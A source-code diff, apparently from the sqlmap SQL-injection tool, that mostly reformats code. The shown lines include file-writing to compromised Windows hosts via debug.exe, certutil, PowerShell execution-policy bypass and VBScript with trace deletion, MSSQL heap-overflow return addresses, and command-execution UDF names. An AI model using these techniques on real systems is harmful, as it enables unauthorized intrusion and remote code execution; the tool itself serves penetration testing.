logger.debug("generating chunk file %s\%s from debug script %s" % (tmpPath, chunkName, randScr))
|
||||||
|
|
||||||
commands = ("cd \"%s\"" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr)
|
commands = (
|
||||||
complComm = " & ".join(command for command in commands)
|
"cd \"%s\"" % tmpPath,
|
||||||
|
"debug < %s" % randScr,
|
||||||
|
"del /F /Q %s" % randScr
|
||||||
|
)
|
||||||
|
|
||||||
self.execCmd(complComm)
|
self.execCmd(" & ".join(command for command in commands))
|
||||||
|
|
||||||
return chunkName
|
return chunkName
|
||||||
|
|
||||||
@@ -195,12 +198,13 @@ class Filesystem(GenericFilesystem):
|
|||||||
|
|
||||||
logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % dFile)
|
logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % dFile)
|
||||||
|
|
||||||
commands = ("powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath,
|
commands = (
|
||||||
"del /F /Q \"%s\"" % encodedBase64FilePath,
|
"powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath,
|
||||||
"del /F /Q \"%s\"" % randPSScriptPath)
|
"del /F /Q \"%s\"" % encodedBase64FilePath,
|
||||||
complComm = " & ".join(command for command in commands)
|
"del /F /Q \"%s\"" % randPSScriptPath
|
||||||
|
)
|
||||||
|
|
||||||
self.execCmd(complComm)
|
self.execCmd(" & ".join(command for command in commands))
|
||||||
|
|
||||||
def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType):
|
def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType):
|
||||||
infoMsg = "using debug.exe to write the %s " % fileType
|
infoMsg = "using debug.exe to write the %s " % fileType
|
||||||
@@ -219,10 +223,13 @@ class Filesystem(GenericFilesystem):
|
|||||||
debugMsg += "file %s\%s and moving it to %s" % (tmpPath, dFileName, dFile)
|
debugMsg += "file %s\%s and moving it to %s" % (tmpPath, dFileName, dFile)
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
commands = ("cd \"%s\"" % tmpPath, "ren %s %s" % (chunkName, dFileName), "move /Y %s %s" % (dFileName, dFile))
|
commands = (
|
||||||
complComm = " & ".join(command for command in commands)
|
"cd \"%s\"" % tmpPath,
|
||||||
|
"ren %s %s" % (chunkName, dFileName),
|
||||||
|
"move /Y %s %s" % (dFileName, dFile)
|
||||||
|
)
|
||||||
|
|
||||||
self.execCmd(complComm)
|
self.execCmd(" & ".join(command for command in commands))
|
||||||
else:
|
else:
|
||||||
debugMsg = "the file is larger than %d bytes. " % debugSize
|
debugMsg = "the file is larger than %d bytes. " % debugSize
|
||||||
debugMsg += "sqlmap will split it into chunks locally, upload "
|
debugMsg += "sqlmap will split it into chunks locally, upload "
|
||||||
@@ -244,17 +251,22 @@ class Filesystem(GenericFilesystem):
|
|||||||
debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName)
|
debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName)
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
commands = ("cd \"%s\"" % tmpPath, copyCmd, "del /F /Q %s" % chunkName)
|
commands = (
|
||||||
complComm = " & ".join(command for command in commands)
|
"cd \"%s\"" % tmpPath,
|
||||||
|
copyCmd,
|
||||||
|
"del /F /Q %s" % chunkName
|
||||||
|
)
|
||||||
|
|
||||||
self.execCmd(complComm)
|
self.execCmd(" & ".join(command for command in commands))
|
||||||
|
|
||||||
logger.debug("moving %s file %s to %s" % (fileType, sFile, dFile))
|
logger.debug("moving %s file %s to %s" % (fileType, sFile, dFile))
|
||||||
|
|
||||||
commands = ("cd \"%s\"" % tmpPath, "move /Y %s %s" % (dFileName, dFile))
|
commands = (
|
||||||
complComm = " & ".join(command for command in commands)
|
"cd \"%s\"" % tmpPath,
|
||||||
|
"move /Y %s %s" % (dFileName, dFile)
|
||||||
|
)
|
||||||
|
|
||||||
self.execCmd(complComm)
|
self.execCmd(" & ".join(command for command in commands))
|
||||||
|
|
||||||
def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType):
|
def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType):
|
||||||
infoMsg = "using a custom visual basic script to write the "
|
infoMsg = "using a custom visual basic script to write the "
|
||||||
@@ -330,12 +342,14 @@ class Filesystem(GenericFilesystem):
|
|||||||
|
|
||||||
self.xpCmdshellWriteFile(vbs, tmpPath, randVbs)
|
self.xpCmdshellWriteFile(vbs, tmpPath, randVbs)
|
||||||
|
|
||||||
commands = ("cd \"%s\"" % tmpPath, "cscript //nologo %s" % randVbs,
|
commands = (
|
||||||
"del /F /Q %s" % randVbs,
|
"cd \"%s\"" % tmpPath,
|
||||||
"del /F /Q %s" % randFile)
|
"cscript //nologo %s" % randVbs,
|
||||||
complComm = " & ".join(command for command in commands)
|
"del /F /Q %s" % randVbs,
|
||||||
|
"del /F /Q %s" % randFile
|
||||||
|
)
|
||||||
|
|
||||||
self.execCmd(complComm)
|
self.execCmd(" & ".join(command for command in commands))
|
||||||
|
|
||||||
def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, fileType):
|
def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, fileType):
|
||||||
infoMsg = "using certutil.exe to write the %s " % fileType
|
infoMsg = "using certutil.exe to write the %s " % fileType
|
||||||
@@ -349,7 +363,7 @@ class Filesystem(GenericFilesystem):
|
|||||||
|
|
||||||
encodedFileContent = base64encode(wFileContent)
|
encodedFileContent = base64encode(wFileContent)
|
||||||
|
|
||||||
splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i+chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)])
|
splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i + chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)])
|
||||||
|
|
||||||
logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath)
|
logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath)
|
||||||
|
|
||||||
@@ -357,11 +371,13 @@ class Filesystem(GenericFilesystem):
|
|||||||
|
|
||||||
logger.debug("decoding the file to %s.." % dFile)
|
logger.debug("decoding the file to %s.." % dFile)
|
||||||
|
|
||||||
commands = ("cd \"%s\"" % tmpPath, "certutil -f -decode %s %s" % (randFile, dFile),
|
commands = (
|
||||||
"del /F /Q %s" % randFile)
|
"cd \"%s\"" % tmpPath,
|
||||||
complComm = " & ".join(command for command in commands)
|
"certutil -f -decode %s %s" % (randFile, dFile),
|
||||||
|
"del /F /Q %s" % randFile
|
||||||
|
)
|
||||||
|
|
||||||
self.execCmd(complComm)
|
self.execCmd(" & ".join(command for command in commands))
|
||||||
|
|
||||||
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
|
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
|
||||||
# NOTE: this is needed here because we use xp_cmdshell extended
|
# NOTE: this is needed here because we use xp_cmdshell extended
|
||||||
|
|||||||
@@ -88,12 +88,14 @@ class Fingerprint(GenericFingerprint):
|
|||||||
infoMsg = "confirming %s" % DBMS.MSSQL
|
infoMsg = "confirming %s" % DBMS.MSSQL
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
for version, check in (("2000", "HOST_NAME()=HOST_NAME()"), \
|
for version, check in (
|
||||||
("2005", "XACT_STATE()=XACT_STATE()"), \
|
("2000", "HOST_NAME()=HOST_NAME()"),
|
||||||
("2008", "SYSDATETIME()=SYSDATETIME()"), \
|
("2005", "XACT_STATE()=XACT_STATE()"),
|
||||||
("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), \
|
("2008", "SYSDATETIME()=SYSDATETIME()"),
|
||||||
("2014", "CHARINDEX('12.0.2000',@@version)>0"), \
|
("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"),
|
||||||
("2016", "ISJSON(NULL) IS NULL")):
|
("2014", "CHARINDEX('12.0.2000',@@version)>0"),
|
||||||
|
("2016", "ISJSON(NULL) IS NULL")
|
||||||
|
):
|
||||||
result = inject.checkBooleanExpression(check)
|
result = inject.checkBooleanExpression(check)
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
@@ -136,14 +138,16 @@ class Fingerprint(GenericFingerprint):
|
|||||||
|
|
||||||
# Reference: http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions
|
# Reference: http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions
|
||||||
# http://en.wikipedia.org/wiki/Windows_NT#Releases
|
# http://en.wikipedia.org/wiki/Windows_NT#Releases
|
||||||
versions = { "NT": ("4.0", (6, 5, 4, 3, 2, 1)),
|
versions = {
|
||||||
"2000": ("5.0", (4, 3, 2, 1)),
|
"NT": ("4.0", (6, 5, 4, 3, 2, 1)),
|
||||||
"XP": ("5.1", (3, 2, 1)),
|
"2000": ("5.0", (4, 3, 2, 1)),
|
||||||
"2003": ("5.2", (2, 1)),
|
"XP": ("5.1", (3, 2, 1)),
|
||||||
"Vista or 2008": ("6.0", (2, 1)),
|
"2003": ("5.2", (2, 1)),
|
||||||
"7 or 2008 R2": ("6.1", (1, 0)),
|
"Vista or 2008": ("6.0", (2, 1)),
|
||||||
"8 or 2012": ("6.2", (0,)),
|
"7 or 2008 R2": ("6.1", (1, 0)),
|
||||||
"8.1 or 2012 R2": ("6.3", (0,)) }
|
"8 or 2012": ("6.2", (0,)),
|
||||||
|
"8.1 or 2012 R2": ("6.3", (0,))
|
||||||
|
}
|
||||||
|
|
||||||
# Get back-end DBMS underlying operating system version
|
# Get back-end DBMS underlying operating system version
|
||||||
for version, data in versions.items():
|
for version, data in versions.items():
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ class Takeover(GenericTakeover):
|
|||||||
GenericTakeover.__init__(self)
|
GenericTakeover.__init__(self)
|
||||||
|
|
||||||
def uncPathRequest(self):
|
def uncPathRequest(self):
|
||||||
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
|
# inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
|
||||||
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
|
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
|
||||||
|
|
||||||
def spHeapOverflow(self):
|
def spHeapOverflow(self):
|
||||||
@@ -31,21 +31,22 @@ class Takeover(GenericTakeover):
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
returns = {
|
returns = {
|
||||||
# 2003 Service Pack 0
|
# 2003 Service Pack 0
|
||||||
"2003-0": (""),
|
"2003-0": (""),
|
||||||
|
|
||||||
# 2003 Service Pack 1
|
# 2003 Service Pack 1
|
||||||
"2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
|
"2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"),
|
||||||
|
|
||||||
# 2003 Service Pack 2 updated at 12/2008
|
# 2003 Service Pack 2 updated at 12/2008
|
||||||
#"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
|
# "2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"),
|
||||||
|
|
||||||
# 2003 Service Pack 2 updated at 05/2009
|
# 2003 Service Pack 2 updated at 05/2009
|
||||||
"2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"),
|
"2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"),
|
||||||
|
|
||||||
|
# 2003 Service Pack 2 updated at 09/2009
|
||||||
|
# "2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
|
||||||
|
}
|
||||||
|
|
||||||
# 2003 Service Pack 2 updated at 09/2009
|
|
||||||
#"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
|
|
||||||
}
|
|
||||||
addrs = None
|
addrs = None
|
||||||
|
|
||||||
for versionSp, data in returns.items():
|
for versionSp, data in returns.items():
|
||||||
|
|||||||
@@ -23,11 +23,11 @@ class MySQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Take
|
|||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.excludeDbsList = MYSQL_SYSTEM_DBS
|
self.excludeDbsList = MYSQL_SYSTEM_DBS
|
||||||
self.sysUdfs = {
|
self.sysUdfs = {
|
||||||
# UDF name: UDF return data-type
|
# UDF name: UDF return data-type
|
||||||
"sys_exec": { "return": "int" },
|
"sys_exec": {"return": "int"},
|
||||||
"sys_eval": { "return": "string" },
|
"sys_eval": {"return": "string"},
|
||||||
"sys_bineval": { "return": "int" }
|
"sys_bineval": {"return": "int"}
|
||||||
}
|
}
|
||||||
|
|
||||||
Syntax.__init__(self)
|
Syntax.__init__(self)
|
||||||
Fingerprint.__init__(self)
|
Fingerprint.__init__(self)
|
||||||
|
|||||||
@@ -41,18 +41,19 @@ class Fingerprint(GenericFingerprint):
|
|||||||
|
|
||||||
# Reference: https://downloads.mysql.com/archives/community/
|
# Reference: https://downloads.mysql.com/archives/community/
|
||||||
versions = (
|
versions = (
|
||||||
(32200, 32235), # MySQL 3.22
|
(32200, 32235), # MySQL 3.22
|
||||||
(32300, 32359), # MySQL 3.23
|
(32300, 32359), # MySQL 3.23
|
||||||
(40000, 40032), # MySQL 4.0
|
(40000, 40032), # MySQL 4.0
|
||||||
(40100, 40131), # MySQL 4.1
|
(40100, 40131), # MySQL 4.1
|
||||||
(50000, 50096), # MySQL 5.0
|
(50000, 50096), # MySQL 5.0
|
||||||
(50100, 50172), # MySQL 5.1
|
(50100, 50172), # MySQL 5.1
|
||||||
(50400, 50404), # MySQL 5.4
|
(50400, 50404), # MySQL 5.4
|
||||||
(50500, 50554), # MySQL 5.5
|
(50500, 50558), # MySQL 5.5
|
||||||
(50600, 50635), # MySQL 5.6
|
(50600, 50638), # MySQL 5.6
|
||||||
(50700, 50717), # MySQL 5.7
|
(50700, 50720), # MySQL 5.7
|
||||||
(60000, 60014), # MySQL 6.0
|
(60000, 60014), # MySQL 6.0
|
||||||
)
|
(80000, 80003), # MySQL 8.0
|
||||||
|
)
|
||||||
|
|
||||||
index = -1
|
index = -1
|
||||||
for i in xrange(len(versions)):
|
for i in xrange(len(versions)):
|
||||||
|
|||||||
@@ -67,10 +67,10 @@ class Takeover(GenericTakeover):
|
|||||||
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
||||||
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
||||||
else:
|
else:
|
||||||
#logger.debug("retrieving MySQL data directory absolute path")
|
# logger.debug("retrieving MySQL data directory absolute path")
|
||||||
|
|
||||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
||||||
#self.__datadir = inject.getValue("SELECT @@datadir")
|
# self.__datadir = inject.getValue("SELECT @@datadir")
|
||||||
|
|
||||||
# NOTE: specifying the relative path as './udf.dll'
|
# NOTE: specifying the relative path as './udf.dll'
|
||||||
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
||||||
|
|||||||
@@ -23,12 +23,12 @@ class PostgreSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous,
|
|||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.excludeDbsList = PGSQL_SYSTEM_DBS
|
self.excludeDbsList = PGSQL_SYSTEM_DBS
|
||||||
self.sysUdfs = {
|
self.sysUdfs = {
|
||||||
# UDF name: UDF parameters' input data-type and return data-type
|
# UDF name: UDF parameters' input data-type and return data-type
|
||||||
"sys_exec": { "input": ["text"], "return": "int4" },
|
"sys_exec": {"input": ["text"], "return": "int4"},
|
||||||
"sys_eval": { "input": ["text"], "return": "text" },
|
"sys_eval": {"input": ["text"], "return": "text"},
|
||||||
"sys_bineval": { "input": ["text"], "return": "int4" },
|
"sys_bineval": {"input": ["text"], "return": "int4"},
|
||||||
"sys_fileread": { "input": ["text"], "return": "text" }
|
"sys_fileread": {"input": ["text"], "return": "text"}
|
||||||
}
|
}
|
||||||
|
|
||||||
Syntax.__init__(self)
|
Syntax.__init__(self)
|
||||||
Fingerprint.__init__(self)
|
Fingerprint.__init__(self)
|
||||||
|
|||||||
@@ -22,6 +22,6 @@ class Syntax(GenericSyntax):
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
def escaper(value):
|
def escaper(value):
|
||||||
return "(%s)" % "||".join("CHR(%d)" % ord(_) for _ in value) # Postgres CHR() function already accepts Unicode code point of character(s)
|
return "(%s)" % "||".join("CHR(%d)" % ord(_) for _ in value) # Postgres CHR() function already accepts Unicode code point of character(s)
|
||||||
|
|
||||||
return Syntax._escape(expression, quote, escaper)
|
return Syntax._escape(expression, quote, escaper)
|
||||||
|
|||||||
@@ -176,7 +176,7 @@ class Enumeration(GenericEnumeration):
|
|||||||
conf.db = self.getCurrentDb()
|
conf.db = self.getCurrentDb()
|
||||||
|
|
||||||
elif conf.db is not None:
|
elif conf.db is not None:
|
||||||
if ',' in conf.db:
|
if ',' in conf.db:
|
||||||
errMsg = "only one database name is allowed when enumerating "
|
errMsg = "only one database name is allowed when enumerating "
|
||||||
errMsg += "the tables' columns"
|
errMsg += "the tables' columns"
|
||||||
raise SqlmapMissingMandatoryOptionException(errMsg)
|
raise SqlmapMissingMandatoryOptionException(errMsg)
|
||||||
@@ -188,8 +188,8 @@ class Enumeration(GenericEnumeration):
|
|||||||
else:
|
else:
|
||||||
colList = []
|
colList = []
|
||||||
|
|
||||||
if conf.excludeCol:
|
if conf.exclude:
|
||||||
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
|
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
|
||||||
|
|
||||||
for col in colList:
|
for col in colList:
|
||||||
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
|
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
|
||||||
|
|||||||
@@ -23,6 +23,7 @@ from lib.core.common import pushValue
|
|||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.common import safeSQLIdentificatorNaming
|
from lib.core.common import safeSQLIdentificatorNaming
|
||||||
|
from lib.core.common import singleTimeLogMessage
|
||||||
from lib.core.common import singleTimeWarnMessage
|
from lib.core.common import singleTimeWarnMessage
|
||||||
from lib.core.common import unArrayizeValue
|
from lib.core.common import unArrayizeValue
|
||||||
from lib.core.common import unsafeSQLIdentificatorNaming
|
from lib.core.common import unsafeSQLIdentificatorNaming
|
||||||
@@ -298,7 +299,11 @@ class Databases:
|
|||||||
if conf.excludeSysDbs and db in self.excludeDbsList:
|
if conf.excludeSysDbs and db in self.excludeDbsList:
|
||||||
infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db)
|
infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
continue
|
||||||
|
|
||||||
|
if conf.exclude and db in conf.exclude.split(','):
|
||||||
|
infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(db)
|
||||||
|
singleTimeLogMessage(infoMsg)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
infoMsg = "fetching number of tables for "
|
infoMsg = "fetching number of tables for "
|
||||||
@@ -395,7 +400,7 @@ class Databases:
|
|||||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
|
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
|
||||||
conf.db = conf.db.upper()
|
conf.db = conf.db.upper()
|
||||||
|
|
||||||
if ',' in conf.db:
|
if ',' in conf.db:
|
||||||
errMsg = "only one database name is allowed when enumerating "
|
errMsg = "only one database name is allowed when enumerating "
|
||||||
errMsg += "the tables' columns"
|
errMsg += "the tables' columns"
|
||||||
raise SqlmapMissingMandatoryOptionException(errMsg)
|
raise SqlmapMissingMandatoryOptionException(errMsg)
|
||||||
@@ -410,8 +415,8 @@ class Databases:
|
|||||||
else:
|
else:
|
||||||
colList = []
|
colList = []
|
||||||
|
|
||||||
if conf.excludeCol:
|
if conf.exclude:
|
||||||
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
|
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
|
||||||
|
|
||||||
for col in colList:
|
for col in colList:
|
||||||
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
|
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
|
||||||
@@ -658,8 +663,7 @@ class Databases:
|
|||||||
query += condQuery
|
query += condQuery
|
||||||
|
|
||||||
elif Backend.isDbms(DBMS.MSSQL):
|
elif Backend.isDbms(DBMS.MSSQL):
|
||||||
query = rootQuery.blind.count % (conf.db, conf.db, \
|
query = rootQuery.blind.count % (conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
|
||||||
unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
|
|
||||||
query += condQuery.replace("[DB]", conf.db)
|
query += condQuery.replace("[DB]", conf.db)
|
||||||
|
|
||||||
elif Backend.isDbms(DBMS.FIREBIRD):
|
elif Backend.isDbms(DBMS.FIREBIRD):
|
||||||
@@ -758,8 +762,7 @@ class Databases:
|
|||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||||
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))
|
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))
|
||||||
elif Backend.isDbms(DBMS.MSSQL):
|
elif Backend.isDbms(DBMS.MSSQL):
|
||||||
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db,
|
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
|
||||||
conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
|
|
||||||
elif Backend.isDbms(DBMS.FIREBIRD):
|
elif Backend.isDbms(DBMS.FIREBIRD):
|
||||||
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column)
|
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column)
|
||||||
elif Backend.isDbms(DBMS.INFORMIX):
|
elif Backend.isDbms(DBMS.INFORMIX):
|
||||||
@@ -818,10 +821,7 @@ class Databases:
|
|||||||
self.getTables()
|
self.getTables()
|
||||||
|
|
||||||
infoMsg = "fetched tables: "
|
infoMsg = "fetched tables: "
|
||||||
infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \
|
infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) else '.', unsafeSQLIdentificatorNaming(_)) for _ in tbl) for db, tbl in kb.data.cachedTables.items()])
|
||||||
Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \
|
|
||||||
else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \
|
|
||||||
kb.data.cachedTables.items()])
|
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
for db, tables in kb.data.cachedTables.items():
|
for db, tables in kb.data.cachedTables.items():
|
||||||
|
|||||||
@@ -22,6 +22,7 @@ from lib.core.common import isTechniqueAvailable
|
|||||||
from lib.core.common import prioritySortColumns
|
from lib.core.common import prioritySortColumns
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
